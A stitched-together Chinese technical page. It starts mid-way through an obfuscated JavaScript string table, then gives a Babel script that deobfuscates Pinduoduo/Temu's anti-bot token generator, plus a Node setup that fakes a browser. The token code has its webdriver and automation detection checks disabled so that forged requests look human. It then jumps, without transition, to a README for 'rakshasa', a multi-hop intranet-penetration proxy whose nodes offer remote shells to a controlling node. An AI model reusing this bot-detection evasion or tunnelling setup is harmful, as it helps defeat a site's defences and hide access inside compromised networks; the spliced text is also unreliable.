"eSoWWP0ECmozW7C9W5VcJCkI", "u8kgWRbJtG==", "vZH7AcG=", "auaS", "h8oRWQOmya==", "W63cT8o8gs0=", "WOiClCksW7m=", "vmktWQn9vW==", "omoxWOCkyW==", "W7r6gvhdJW==", "W5SfW4hcTY0=", "W7yMFCk5zNi=", "fmkQWPfIWRJdImkfWRy=", "wLFdVCkyW4BcJq==", "WQBcOKldQa==", "b3NcMYPe", "wSkpwGmD", "WPjMWQ98", "cmkmhCkFqa==", "WPzhW63cQW==", "mNFcQdbPv8oOF1y=", "WQf+W7WqW4O=", "tSkTemoU", "WRPuW7ZcQa==", "yCoZW5C=", "uCo6W7xdT2WLW4xdK2O=", "W4n8xvP4W47cH8oKWRi=", "tmocW48S", "aulcNCkufa==", "feeT", "W4hcLCopbbu=", "W6VdPqPrAq==", "rSoaW487amolp2FcHCkejmkkucW=", "W5ONwmkUW70=", "e2D4e8ou", "xhOhihO=", "W7dcU8o2gZ0=", "WPZcGw7dKmov", "W5TTqxDPW4xcS8o1WQJdTuNdH8oXWOvNW6m=", "h8kLk8km", "W5VdTYjiWOpdGM7dPSoLyLFdNcpdSciC", "WQKUmSkSW57dPhSeWOe=", "WO3cIsBdTCoe", "W7yfESkYFa==", "smk+AsG/", "W6mfW7JcOWu=", "uYnUwsm=", "CmkGWPxcKCkO", "keZdGCohW6e=", "W6JcPmoAbru=", "ofb+jCovpaGC", "W71VeMddQG==", "WPNdM0zDW74=", "WPflW47cHCok", "W7LtDxXU", "W7ehW7pcLH0=", "W79Pu2bw", "efK6sLNdTrfJWRZdPum=", "gNGFr34=", "W5DPySo9WO8=", "WO8LnmokDSojya==", "k8kwg8kIEa==", "sLKWlKC3vMhcICkKWPddVwuY", "WOpcP2NdQSod", "qvJdUSki", "W6WHWPzRWRu=", "nmo8WRaAvG==", "W4uIwSkjwG==", "j2tdISo+W4bAiCoTBHC1lq==", "ba/cTmoUW4e=", "W4qMzCk0AMxdR8opu1LXEdlcGSokgSkV", "tmkch8o+iG==", "nhJdGCo2W6vBlSo6sq==", "iSkcWQvLWRm=", "tmo0W6pdR0C=", "W73dJcnUWOy=", "qI5Fqs04uCkyW44=", "tSoDW6OgCG==", "WOODq8kmWOS=", "W4JdQInpWQddIa==", "qwOXj14=", "nmoyWPuSW50=", "umoFW4mQkSoPlgZcNW==", "WOxcJ2JdImoh", "WPyinSonqq==", "W73cOCo6pI4=", "D8obW5VdVCoE", "WR/dRSkMcJ0=", "cSo0aSo2W7dcQsq+W5ldVfO=", "W4ThW6tdHa==", "mrZcH8o4W5G=", "WOzMWRH2WOG=", "W5SjF8k0W61k", "CJddLSo+W6DgESk0gmkK", "W7/cRvO=", "ACoqy2/dV8op", "DSo9W4BdTmoH", "AdVdJCo8", "W7uHpxvk", "WPxdICk8hI7cMuC/uSkK", "W5/dPYju", "b1LGi8oi", "nCkDWPr5WOq=", "cSkqWRDcWOm=", "uSovW7hdOCoG", "WPWkg8ktW78=", "W4ObW7BcKra=", "WPnnW5aSW5DrWRO=", "W6VcG8o6aJDYWOL+CG==", "qCovW7q/ga==", "msRcSmoEW4ddMaZdLuRcSuxdPa==", "nHmJWOuxW6u3CCkoWPpdPW==", "s1NdVmkxW4dcHq==", "W6iQW5pcNtm=", "W4KAvCktW7C=", "qg4Jnwu=", "bee/rLpdLbPVWR8=", "aSkUWRHEWQy=", "WQddUhX7W44=", "W4vbaNFdHmoxAq==", "s1a3ceW=", "pINcUSoCW58=", "WOiJemksW6m=", "ir06WOOVW54IFSkiWOJdJXhcNCoLFSo3W7yrW6W=", "qCoUC1pdOG==", "W4tdJqfiWRq=", "WOpdUM9zW5K=", "nLdcSJLc", "WPDhW5dcMSo9", "W4mrWPz1WR8=", "WPbxWRrvWRa=", "W5XyhLtdQq==", "W7mMwSkkW4y=", "ltFcTSoRW53dNaBdQhFcVK7dUW==", "W4Heq8ovWPG=", "gCoKWP0A", "m3pcSbHw", "WQFdQfv4W6nOW4C4", "W6zbsSoTWOK=", "s17dSSksW47cHCoHqXWin1yTDG==", "qg4Ylu4RjN4=", "WPqKkCoM", "l3BcTcC=", "wCkjWOhcMmkA", "W7DPBej/", "WOixiSkRW6G=", "W7ycavnq", "WOzpWRr3WOu=", "W64wF8kpW7C=", "WQfjW7tcQW==", "WQeGnSkaW5JdPMC=", "W6HLW67dHde=", "kCozgCoFW4i=", "WRRcOK/dUCoGqbbOAG==", "W4eGzmkqW7C=", "zZZdImo8W6Dg", "WOxcM3pdI8ot", "W5uIlLPa", "W7PQv3fP", "nSkulmk+Da==", "WQhcO1W=", "WQjhW7RcPCoG", "W6WOE8k0W4S=", "gMvNbSoH", "WQW2eSkGW44=", "xCkOrGyi", "W4KZF8kY", "WQScaCk8W78=", "W4WoEmk4W6HcW6qfWOi=", "xLmPdG==", "W6BdGILn", "W6y6WQLJWOi=", "WRVcQYBdUmoI", "W4ldPaboWQm=", "A8kCtbaK", "zCoCW5aVBW==", "bGy2WOuIW4aZE8ktWP0=", "fmoWWQWsW6W=", "y1G5nL8=", "ighcUcrI", "cmkLoCkmF0u=", "cCoPWQOkrG==", "yCkHWQLbuW==", "WOtcPZtdL8o5", "mH08", "WRTNW7GdW6G=", "ifFcKSk6hMrcW6u3", "smkZhmoOdW==", "qs9o", "gmojbCoZW6a=", "jxFdKCoY", "WRPKWPfnWPi=", "EmkUWQ5pzCk5WQ8=", "W50zFCk0W7jBW7G=", "W5ZdLbTbWQq=", "WQ8jj8kSW6a=", "WQfZW6OCW616WPS=", "mNFcJIDZu8oPBG==", "W6y6DSkQAG==", "zCkfa8otpq==", "WOZcHbFdISo8", "F8oWW5RdMSo3W5mqDmoNW7mrttWsFq==", "lmoJWPmoW6K=", "eSoUWOGsoSkxW6pcQsq=", "vheWd28=", "WPi8WQlcIwJcLCoduSkIW4NcMW==", "W5P8v3f4W5q=", "b8o2pCoZW4y=", "W4DZtgi=", "i0ZcN8k6hG==", "WRhcVJpdMCoZ", "lCkWdSk4rG==", "W7NdIJPJxq==", "WQD5W6uHW6O=", "i8ogWRi6W4VcTCkvfdv3W4CqiCoNWRtdPa==", "c8kLpmkgqW==", "ECkCrdG/WQH8", "smo8W5mA", "W4PAW4hdQZe=", "W5VdOZjlWOm=", "hSkKWOz+WQpdImolWQeRWPtdPa==", "cfFcH8k1aW==", "EmkAWQ5+FW==", "A8kTWQBcLSki", "WPNdLmk6fdhcQW==", "l8obn8o2W5dcQYyNW58=", "sCkGwIii", "sGVcL8kwW74=", "CmoEW4qQmG==", "W488zq==", "WOarfCkkW43dKgRdHSoGsKK=", "lhFdLq==", "kCktWOHtWRe=", "rv0TguC7vwe=", "nx/dImo2W5bgiCoYxq==", "W4f3W4BdRJq=", "WRRcP0BdL8or", "n1ddJmo8W7y=", "WQnRW7RcM8o6", "W4pcTSodgbu=", "sCoZW5qkz8koWPBcO3uIW5y=", "v8kXfSoUaqDtgSoW", "WRGimSkuW5G=", "pSoxWQuuW4JcVSkwaYHXW4CqaCo3", "hfnzeCoE"];
    n = c,
        e = 458,
        function (t) {
            for (; --t;)
                n.push(n.shift())
        }(++e);
    var W = function t(n, r) {
        var e = c[n -= 0];
        void 0 === t.GMJOxm && (t.CPxjpy = function (t, n) {
            for (var r = [], e = 0, o = void 0, a = "", i = "", u = 0, c = (t = function (t) {
                for (var n, r, e = String(t).replace(/=+$/, ""), o = "", a = 0, i = 0; r = e.charAt(i++); ~r && (n = a % 4 ? 64 * n + r : r,
                    a++ % 4) ? o += String.fromCharCode(255 & n >> (-2 * a & 6)) : 0)
                    r = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);
                return o
            }(t)).length; u < c; u++)
                i += "%" + ("00" + t.charCodeAt(u).toString(16)).slice(-2);
            t = decodeURIComponent(i);
            var W = void 0;
            for (W = 0; W < 256; W++)
                r[W] = W;
            for (W = 0; W < 256; W++)
                e = (e + r[W] + n.charCodeAt(W % n.length)) % 256,
                    o = r[W],
                    r[W] = r[e],
                    r[e] = o;
            W = 0,
                e = 0;
            for (var d = 0; d < t.length; d++)
                e = (e + r[W = (W + 1) % 256]) % 256,
                    o = r[W],
                    r[W] = r[e],
                    r[e] = o,
                    a += String.fromCharCode(t.charCodeAt(d) ^ r[(r[W] + r[e]) % 256]);
            return a
        }
            ,
            t.hpBrye = {},
            t.GMJOxm = !0);
        var o = t.hpBrye[n];
        return void 0 === o ? (void 0 === t.HWFFId && (t.HWFFId = !0),
            e = t.CPxjpy(e, r),
            t.hpBrye[n] = e) : e = o,
            e
    }
    return W(arg1, arg2)
}

function find_path_reference(scope, txt) {
    if (!scope.referencePaths) return;
    for (let i = 0; i < scope.referencePaths.length; i++) {
        const ref = scope.referencePaths[i];
        const varPath = ref.parentPath;
        const propPath = varPath.get("property")
        if (varPath.key == "left" && t.isLiteral(propPath.node) && propPath.node.value == txt) {
            // if(txt=="YIUXn")debugger
            return varPath.parentPath.get("right")
        }
    }
}

//还原字符串
traverse(ast, {
    CallExpression(path) {
        const node = path.node;
        if (node.arguments.length == 2 && node.arguments[0].type == "StringLiteral" && node.arguments[1].type == "StringLiteral") {
            try {
                //解密
                const val = encode2(...path.node.arguments.map(x => x.value))
                if (!val) {
                    console.log("跳过")
                    return;
                }
                // console.log(path.toString(), val)
                path.replaceWith(t.stringLiteral(val))
                //结束当前函数递归
                // path.skip();
            } catch (e) {
                console.log(e)
            }
        }
    }
})

//替换表达式
function rpc_reg_fn(basePath, rpsPath) {
    const yargs = basePath.node.arguments;
    if(!yargs || yargs.filter(x=>t.isFunction(x)).length){
        return;
    }
    //值是方法
    if (rpsPath.node.type == "FunctionExpression") {
        //参数名
        const args = {};
        rpsPath.get("params").forEach((x, i) => {
            args[x.node.name] = yargs[i]
        })
        //获取表达式
        const temp_node = t.cloneNode(rpsPath.get("body.body.0.argument").node, true);
        if (!temp_node) {
            return;
        }
        traverse(temp_node, {
            Identifier(path) {
                const rg = args[path.node.name];
                if (!rg) {
                    return;
                }
                try {
                    path.replaceWith(t.cloneNode(rg, true))
                    path.skip();
                } catch (e) {
                    console.log(basePath,rpsPath)
                    debugger
                }
            }
        }, {
            noScope: true
        })
        try {
            basePath.replaceWith(temp_node);
        } catch (e) {
            // console.log(e, basePath.toString())
        }
    } else if (t.isLiteral(rpsPath.node)) {
        //固定内容
        try {
            basePath.replaceWith(t.stringLiteral(rpsPath.node.value))
        } catch (e) {
            // debugger
        }
    }

}

/*

//还原函数basePath
traverse(ast, {
    MemberExpression(path) {
        let prop = path.get("property");
        if (prop.type != "StringLiteral" || path.key == "left") {
            //不符合格式
            return;
        }
        let rpPath = path;
        const basePath = path.parentPath;
        //查找变量
        function deep(path, keyPath) {
            const objBind = get_scope_binding(path);
            if (!objBind) return;
            const initPath = objBind.path.get("init")
            if (objBind.kind == "var" && initPath.type == "Identifier") {
                //赋值
                return deep(initPath, keyPath)
            }
            //返回
            const rpsPath = find_path_reference(objBind, keyPath.node.value);
            if (!rpsPath) {
                return;
            }
            if (basePath.node.type == "CallExpression") {
                rpPath = basePath;
            }
            rpc_reg_fn(rpPath, rpsPath);
            //参数对应
            // keyPath.replaceWith(rpsPath.node.__clone())

            // console.log(rpsPath)
        }
        deep(path, path.get("property"))
        // path.skip();
    }
})



//恢复字符串
traverse(ast, {
    Identifier(path) {
        if (!(["init", "property"].includes(path.key))) {
            return;
        }
        if (path.node.name == "k") {
            // debugger
        }
        //执行
        const evl = path.evaluate();
        if (!evl || !evl.value) {
            return;
        }
        path.replaceWith(t.valueToNode(evl.value));
        path.skip();
    }
})
*/


/* 
// 删除无用r['xxx']=
traverse(ast, {
    MemberExpression(path) {
        if (path.get("property").type != "StringLiteral" || path.parentPath.type != "AssignmentExpression") {
            return;
        }
        // const key=path.get("property").node.value;
        const binding = get_scope_binding(path);
        if (!binding) {
            return;
        }
        //获取
        const ls = binding.referencePaths.filter(x => x.parentPath.key != "left")
        if (ls.length < 2) {
            path.parentPath.remove();
        }

    }
}) 

//删除没用的var e = r

//转源码,必须转一下否则数据不刷新
let deobfCode = generator(ast, { comments: false }).code;
//在转ast
ast = parse(deobfCode)
traverse(ast, {
    "VariableDeclarator|FunctionDeclaration"(path) {
        const { node, scope } = path;
        const bind = scope.getBinding(node.id.name);
        if (!bind) return;
        const { constant, referenced, referencePaths } = bind;
        // If the variable is constant and never referenced, remove it.
        // if(path.toString()=="e = {}")debugger
        console.log(path.toString(), referencePaths.length)
        if (constant && !referenced) {
            path.remove();
            path.skip()
        }
    }
})





// 数组转点优化
traverse(ast, {
    MemberExpression(path) {
        const prop = path.get("property");
        if (prop.node.type == "StringLiteral") {
            path.replaceWith(t.memberExpression(t.cloneNode(path.node.object, true), t.identifier(prop.node.value)))
        }
    },

    // StringLiteral(path) {
    //     if (!(path.key == "property" && /^[a-zA-Z\d]+$/.test(path.node.value))) {
    //         return;
    //     }
    //     path.parentPath.replaceWith(t.memberExpression(t.cloneNode(path.parent.object, true), t.identifier(path.node.value)))
    // }
})

traverse(ast, {
    EmptyStatement(path) {
        path.remove();
    },
})

*/

//美化代码
deobfCode = generator(ast, { comments: false }).code;
deobfCode = beautify(deobfCode, {
    indent_size: 2,
    space_in_empty_paren: true,
});


fs.writeFileSync("pdd_encode.js", deobfCode)

修复

以下是使用nodejs的修复版本,放到文件最上面

const window = Object.assign(global, {
    outerHeight: 100,
    outerWidth: 100,
    location: {
        href: "https://www.temu.com",
        port:""
    },
    document: {
        referrer: "",
        cookie: ""
    },
    screen: {
        availWidth: 2560,
        availHeight: 1400
    },
    navigator: {
        userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57"
    }
});

核心算法

function (t, n, r) {
    "use strict";
    (function init(t) {
        var a = r(5);
        // var a = {};
        var i = r(3);
        // var i = {};
        //--------
        var U = 0,
            $ = [],
            E = void 0,
            Y = void 0,
            X = 0,
            tt = function () { },
            nt = window;
        var rt = window.navigator;
        //"ontouchstart" in nt.document 移动端还是PC端
        var it = false;
        //("undefined" == typeof process ? "undefined" : typeof process) === "undefined" ? null : process; //浏览器环境直接为null
        var ut = null;

        var dt = function () {
            var a = [];
            // if (typeof window.outerHeight !== "number" || typeof window.outerWidth !== "number") {
            //     a[0] = 1
            // } else {
            //     a[0] = window.outerHeight < 1 || window.outerWidth < 1 ? 1 : 0
            // }
            a[0] = 0;
            //typeof nt.callPhantom !== "undefined" || typeof nt._phantom !== "undefined" ? 1 : 0;
            a[1] = 0;
            //typeof nt.Buffer === "undefined" ? 0 : 1;
            a[2] = 0;
            //typeof nt.emit === "undefined" ? 0 : 1;
            a[3] = 0;
            //typeof nt.spawn === "undefined" ? 0 : 1;
            a[4] = 0;
            //rt.webdriver === !0 ? 1 : 0;
            a[5] = 0;
            //typeof nt.domAutomation === "undefined" && typeof nt.domAutomationController === "undefined" ? 0 : 1;
            a[6] = 0;

            // try {
            //     typeof Function.prototype.bind == "undefined" && (a[7] = 1);
            //     Function.prototype.bind.toString().replace(/bind/g, "Error") !== Error.toString() && (a[7] = 1);
            //     Function.prototype.toString.toString().replace(/toString/g, "Error") !== Error.toString() && (a[7] = 1);
            // } catch (t) {
            //     a[7] = 0;
            // }
            a[7] = 0;
            //rt.plugins && rt.plugins.length === 0 ? 1 : 0;
            a[8] = 0;
            // rt.languages === "" ? 1 : 0
            a[9] = 0;
            //nt.vendor === "Brian Paul" && nt.renderer === "Mesa OffScreen" ? 1 : 0
            a[10] = 0;
            //nt.Modernizr && !nt.Modernizr.hairline ? 1 : 0
            a[11] = 0;
            //nt.chrome === void 0 ? 1 : 0;
            a[12] = 0;
            //"webdriver" in rt ? 1 : 0;
            a[13] = 0;
            //  window.navigator.hasOwnProperty("webdriver") ? 1 : 0;
            a[14] = 0;
            //window.history.back && window.history.back.toString().indexOf("ipcRenderer") > -1 ? 1 : 0;
            a[15] = 0;
            //child_process
            a[16] = 0;
            //nt.document.getElementById.toString().indexOf("native code") > -1 ? 0 : 1;
            a[17] = 0;
            return a;
        };

        function xt(t, n, r) {
            var i = {},
                u = n || nt.event;
            if (u.timeStamp > 0) {
                if (t.preTimeStamp && u.timeStamp - t.preTimeStamp < 15) {
                    return;
                }
                t.preTimeStamp = u.timeStamp;
            }
            var c = {};
            c.elementId = u.target.id || "";
            c.timestamp = Date.now() - U;
            var W = u.changedTouches;
            if (W && W.length) {
                c.clientX = W[0].clientX, c.clientY = W[0].clientY
            } else {
                c.clientX = u.clientX, c.clientY = u.clientY
            }
            if ((void 0 === r ? "undefined" : typeof r) !== "undefined") {
                t.data[r].push(c);
                if (t.data[r].length > t.maxLength) {
                    t.data[r].shift()
                }
            } else {
                t.data.push(c);
                if (t.data.length > t.maxLength) {
                    t.data.shift()
                }
            }

        }
        //cookie中获取
        function ft(t) {
            var o = {};
            return (nt.document.cookie ? nt.document.cookie.split("; ") : []).some(function (r) {
                var i = r.split("="),
                    u = i.slice(1).join("="),
                    c = i[0].replace(/(%[0-9A-Z]{2})+/g, decodeURIComponent);
                return u = u.replace(/(%[0-9A-Z]{2})+/g, decodeURIComponent), o[c] = u, t === c
            }), t ? o[t] || "" : o;
        }

        //events
        function st(t) {
            if (!t || !t.length) {
                return []
            };
            var n = [];
            t.forEach(function (t) {
                var r = i.sc(t.elementId);
                n = n.concat(i.va(t.clientX),
                    i.va(t.clientY),
                    i.va(t.timestamp),
                    i.va(r.length),
                    r
                );
            })
            return n;
        }

        var lt = {};
        lt.data = [];
        lt.maxLength = 1;
        lt.init = function () {
            var o = i.gos(vt, it ? "touchStartEventData" : "MouseDownEventData");
            this.c = i.pbc("clickEventData" + o);
        };
        lt.handleEvent = function (t) {
            xt(this, t)
        };
        lt.packN = function () {
            if (this.data.length === 0)
                return [];
            var e = [].concat(i.ek(4, this.data), st(this.data));
            return e.concat(this.c);
        };

        var vt = {};
        vt.data = [];
        vt.maxLength = 1;
        vt.handleEvent = function (t) {
            xt(this, t)
        };
        vt.packN = function () {
            if (this.data.length === 0)
                return [];
            return [].concat(i.ek(it ? 1 : 2, this.data), st(this.data));
        };
        var _t = {};
        _t.data = [];
        _t.maxLength = 30;
        _t.handleEvent = function (t) {
            if (it) {
                if (!this.data[X]) {
                    this.data[X] = []
                }
                xt(this, t, X)
            } else {
                xt(this, t);
            }
        };
        _t.packN = function () {
            var e = [];
            if (it) {
                e = this.data.filter(function (t) {
                    return t && t.length > 0;
                });
                for (var o = 0, a = e.length - 1; a >= 0; a--) {
                    o += e[a].length;
                    var u = o - this.maxLength;
                    if (u > 0 && (e[a] = e[a].slice(u)), u >= 0) {
                        e = e.slice(a);
                        break;
                    }
                }
            } else {
                e = this.data
            };
            if (e.length === 0) {
                return [];
            }
            var c = [].concat(i.ek(it ? 24 : 25, e));
            if (it) {
                e.forEach(function (n) {
                    c = (c = c.concat(i.va(n.length))).concat(st(n));
                })
            } else {
                c = c.concat(st(this.data))
            }
            return c;
        };

        //浏览器滚动条高度 documentElement.scrollTop document.body.scrollTop
        var pt = {};
        pt.data = [];
        pt.maxLength = 3;
        pt.handleEvent = function () {
            var e = {},
                o = nt.document.documentElement.scrollTop || nt.document.body.scrollTop;
            if (o > 0) {
                e.scrollTop = o;
                e.timestamp = Date.now() - U;
                this.data.push(e);
                if (this.data.length > this.maxLength) {
                    this.data.shift()
                }
            }
        };
        pt.packN = function () {
            if (it && this.handleEvent(), !this.data.length) {
                return [];
            }
            var t = [].concat(i.ek(3, this.data));
            this.data.forEach(function (n) {
                t = t.concat(i.va(n.scrollTop), i.va(n.timestamp));
            })
            return t;
        };
        //路由方面 location.href location.port
        var gt = {};
        gt.init = function () {
            this.data = {};
            this.data.href = nt.location.href;
            this.data.port = nt.location.port;
            this.c = i.pbc("locationInfo");
        };
        gt.packN = function () {
            var e = i.ek(7);
            var u = void 0 === this.data.href ? "" : this.data.href;
            var W = void 0 === this.data.port ? "" : this.data.port;
            if (!u && !W) {
                return [].concat(e, this.c);
            }
            var x = u.length > 128 ? u.slice(0, 128) : u;
            var f = i.sc(x);
            return [].concat(e, i.va(f.length), f, i.va(W.length), W.length === 0 ? [] : i.sc(this.data.port), this.c);
        };
        //设备宽度和高度 screen.availWidth screen.availHeigh
        var wt = {};
        wt.init = function () {
            this.data = {};
            this.data.availWidth = nt.screen.availWidth;
            this.data.availHeight = nt.screen.availHeight;
        };
        wt.packN = function () {
            return [].concat(i.ek(8), i.va(this.data.availWidth), i.va(this.data.availHeight));
        };
        //随机数
        var Rt = {};
        Rt.init = function () {
            this.data = nt.parseInt(Math.random() * (Math.pow(2, 52) + 1).toString(), 10)
                + nt.parseInt(Math.random() * (Math.pow(2, 30) + 1).toString(), 10)
                + "-" + E;
        };
        Rt.packN = function () {
            return this.init(), [].concat(i.ek(9, this.data));
        };
        //document
        var Ot = {};
        Ot.data = [];
        Ot.init = function () {
            var n = {};
            n.CjCho = function (t) {
                return t();
            };
            this.data = dt();
        };
        Ot.packN = function () {
            try {
                this.data[18] = Object.keys(nt.document)
                    .some(function (n) {
                        return nt.document[n] && nt.document[n].cache_;
                    }) ? 1 : 0;
            } catch (t) {
                this.data[18] = 0;
            }
            for (var e = 0, o = 0; o < this.data.length; o++) {
                e += this.data[o] << o;
            }
            return [].concat(i.ek(10), i.va(e));
        };
        //location.href
        var Pt = {};
        Pt.init = function () {
            this.data = i.pbc(nt.location.href ? nt.location.href : "");
        };
        Pt.packN = function () {
            return this.data.toString().length ? [].concat(i.ek(11), this.data) : [];
        };
        // window.DeviceOrientationEvent
        var zt = {};
        zt.init = function () {
            this.data = nt.DeviceOrientationEvent ? "y" : "n";
        };
        zt.packN = function () {
            return [].concat(i.ek(12, this.data));
        };
        //window.DeviceMotionEvent
        var Jt = {};
        Jt.init = function () {
            this.data = nt.DeviceMotionEvent ? "y" : "n";
        };
        Jt.packN = function () {
            return [].concat(i.ek(13, this.data));
        };
        //当前时间减去服务器更新时间
        var Bt = {};
        Bt.init = function () {
            this.data = Date.now() - Y;
        };
        Bt.packN = function () {
            return this.init(), [].concat(i.ek(14, this.data));
        };
        //userAgent
        var At = {};
        At.init = function () {
            this.data = rt.userAgent;
        };
        At.packN = function () {
            return this.data.length ? [].concat(i.ek(15, this.data)) : [];
        };
        var u = r(14)
        var Vt = {};
        Vt.init = function () {
            this.data = u();
        };
        Vt.packN = function () {
            var t = this;
            var o = [],
                a = {};
            a.nano_cookie_fp = 16;
            a.nano_storage_fp = 17;
            Object.keys(this.data).forEach(function (n) {
                var r = [].concat(t.data[n] ? i.ek(a[n], t.data[n]) : []);
                o.push(r);
            })
            return o;
        };
        //document.referrer
        var jt = {};
        jt.init = function () {
            var e = nt.document.referrer || "",
                o = e.indexOf("?");
            this.data = e.slice(0, o > -1 ? o : e.length);
        };
        jt.packN = function () {
            return this.data.length ? [].concat(i.ek(18, this.data)) : [];
        };
        //pdd_user_id
        var Nt = {};
        Nt.init = function () {
            this.data = ft("pdd_user_id");
        };
        Nt.packN = function () {
            return this.data.length ? [].concat(i.ek(19, this.data)) : [];
        };
        //api_uid
        var Tt = {};
        Tt.init = function () {
            this.data = ft("api_uid");
        };
        Tt.packN = function () {
            return this.data.length ? [].concat(i.ek(20, this.data)) : [];
        };
        //
        var Ut = {};
        Ut.data = 0
        Ut.packN = function () {
            return [].concat(i.ek(21, this.data));
        };
        //
        var Yt = {};
        Yt.init = function (t) {
            this.data = t;
        };
        Yt.packN = function () {
            return [].concat(i.ek(22, this.data));
        };
        //pdd_vds
        var $t = {};
        $t.init = function () {
            this.data = ft("pdd_vds");
        };
        $t.packN = function () {
            return this.data.length ? [].concat(i.ek(23, this.data)) : [];
        };

        //检测浏览器
        var nn = {};
        nn.init = function () {
            var e = [
                nt.opr || nt.opera || rt.userAgent && " OPR/" > -1 ? 1 : 0,
                ("undefined" == typeof InstallTrigger ? "undefined" : typeof InstallTrigger) !== "undefined" ? 1 : 0,
                /constructor/i.test(nt.HTMLElement) || (nt.safari && nt.safari.pushNotification || "").toString() === "[object SafariRemoteNotification]" ? 1 : 0,
                nt.document && nt.document.documentMode || nt.StyleMedia || nt.navigate ? 1 : 0,
                nt.chrome && (nt.chrome.webstore || nt.chrome.runtime) ? 1 : 0
            ];
            for (var i = 0, a = 0; i < e.length; i++) {
                a += e[i] << i;
            }
            this.data = a;
        };
        nn.packN = function () {
            return [].concat(i.ek(26), i.va(this.data));
        };

        function rn(t) {//Tt nn lt
            [wt, Ot, Pt, zt, Jt, At, Vt, jt, Nt, Tt, Yt, $t, gt, nn, lt].forEach(function (n) {
                n.init(t);
            });
        }
        //鼠标按下和鼠标移动
        function en() {
            return;
            //添加移动日志
            var e = "mousedown",
                o = "mousemove";
            it && (e = "touchstart", o = "touchmove");
            nt.document.addEventListener(e, vt, !0);
            nt.document.addEventListener(o, _t, !0);
            nt.document.addEventListener("click", lt, !0);
            !it && nt.document.addEventListener("scroll", pt, !0);
        }

        function on() {
            X = 0;
            [vt, _t, lt, pt].forEach(function (t) {
                t.data = [];
            });
        }

        function an() {
            var e = i.pbc(dt.toString() + un.toString());
            $ = e.map(function (t) {
                return String.fromCharCode(t);
            });
        }


        function un() {
            if (!nt) return "";
            var t = [];
            var u = t.concat.apply(
                t,
                [
                    vt.packN(),
                    _t.packN(),
                    lt.packN(),
                    pt.packN(),
                    gt.packN(),
                    wt.packN(),
                    Rt.packN(),
                    Ot.packN(),
                    Pt.packN(),
                    zt.packN(),
                    Jt.packN(),
                    Bt.packN(),
                    At.packN()
                ].concat(
                    (function (t) {
                        if (Array.isArray(t)) {
                            for (var n = 0, r = Array(t.length); n < t.length; n++) r[n] = t[n];
                            return r;
                        }
                        return Array.from(t);
                    })(Vt.packN())
                    , [
                        jt.packN(),
                        Nt.packN(),
                        Tt.packN(),
                        Ut.packN(),
                        Yt.packN(),
                        $t.packN(),
                        nn.packN()
                    ]
                )
            );
            //延迟加载
            setTimeout(function () {
                on();
            }, 0);
            var c = u.length.toString(2).split("");
            for (var W = 0; c.length < 16; W += 1) {
                c.unshift("0");
            }
            c = c.join("");
            var x = [];
            if (u.length === 0) {
                x.push(0, 0)
            } else if (u.length > 0 && u.length <= (1 << 8) - 1) {
                x.push(0, u.length)
            } else if (u.length > (1 << 8) - 1) {
                x.push(
                    nt.parseInt(c.substring(0, 8), 2),
                    nt.parseInt(c.substring(8, 16), 2)
                );
            }
            u = [].concat([3], [1, 0, 0], x, u);
            var f = a.deflate(u);
            var s = [].map.call(f, function (t) {
                return String.fromCharCode(t);
            });
            return "0aq" + i.encode(s.join("") + $.join(""), i.budget);
        }

        function cn(t = {}) {
            var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {};
            if ((void 0 === nt ? "undefined" : typeof nt) !== "undefined") {
                //更新服务器时间
                this.updateServerTime(t.serverTime || 879609302220);
                //当前时间
                U = Date.now();
                //初始化
                rn(U, nt);
                //
                en();
                an();
            }
        }

        cn.prototype.updateServerTime = function (t) {
            Y = Date.now();
            E = t;
        };
        cn.prototype.init = tt;
        cn.prototype.clearCache = tt;
        cn.prototype.messagePack = function () {
            return Ut.data++, un();
        };
        cn.prototype.messagePackSync = function () {
            return new Promise(function (n) {
                Ut.data++, n(un());
            });
        };
        //这里如果是node环境就添加 swallow
        if (ut && ut.env && ut.env.BROWSER) {
            cn.prototype.swallow = function (t) {
                switch (t.type) {
                    case "click":
                        lt.handleEvent(t);
                        break;
                    case "touchstart":
                    case "mousedown":
                        vt.handleEvent(t);
                        break;
                    case "touchmove":
                    case "mousemove":
                        _t.handleEvent(t);
                }
            }
        }
        t.exports = cn;
        // return cn;
    }).call(this, r(1)(t))
}

rakshasa

rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现多级代理内网穿透而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应,同时支持socks5代理http代理,并且可以引入外部http、socks5代理池自动切换请求IP

节点之间使用内置证书的TLS加密TCP通讯,再叠加一层自定义秘钥的AES加密,可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。

节点分为普通节点(node)与控制节点(fullnode)

  • 普通节点,无法控制其他节点进行代理、shell等操作
  • 控制节点,全功能节点

版本迭代

  1. v0.1.0 2023-03-28
  2. 首次发布
  3. v0.2.0 2023-04-02
  4. 更改为fullnode版本,fullnode为全功能版本可以控制别人也能被控
  5. 增加node版本,去掉私钥,无法发起代理等关键操作,适合被控
  6. 增加lite版本,在上面版本的基础上,精简cli交互与http代理池,体积缩小2mb
  7. 优化节点连接逻辑,并且遍历网卡ip进行net.Dail,解决多网卡下,无法连接的问题

编译与使用

生成新的证书,编译所有版本节点

go run build.go -all

编译所有版本节点(不更新证书)

go run build.go -all -nocert

生成覆盖证书

go run build.go -gencert

生成控制节点与普通节点

go run build.go -fullnode

只生成普通节点

go run build.go -node

证书保存在cert目录下,可以使用第三方工具生成,请使用RSA PKCS1-V1.5

private.go     --编译普通节点的时候要删除此文件
private.pem  --与public.pem对应的公钥私钥,普通节点不包含私钥
public.pem
server.crt     --tls通讯证书
server.key    --tls通讯私钥

版本区别

:-: | :-: | :-: | :-:| :-:
| |fullnode| node| fullnode_lite| node_lite
连接其他节点 |√ |√ |√| √
启动本地socks5代理 |√ |√ |√| √
启动本地http代理 |√ |√ |√| √
启动多层代理| √ |×| √ |×
远程shell |√ |×| √ |×
其他远程功能| √ |×| √| ×
交互式CLI| √ |√| ×| ×
check_proxy| √| √| ×| ×

简单来讲

  • fullnode 完全版,能控制别人,也能被控
  • node 能连接其他节点,但是不能对其他节点操控,适合作为被控端
  • lite版本,精简掉cli和net/http,与一些debug的代码

使用图示

rakshasa多级代理内网穿透工具

使用方法

启动一个带CLI节点
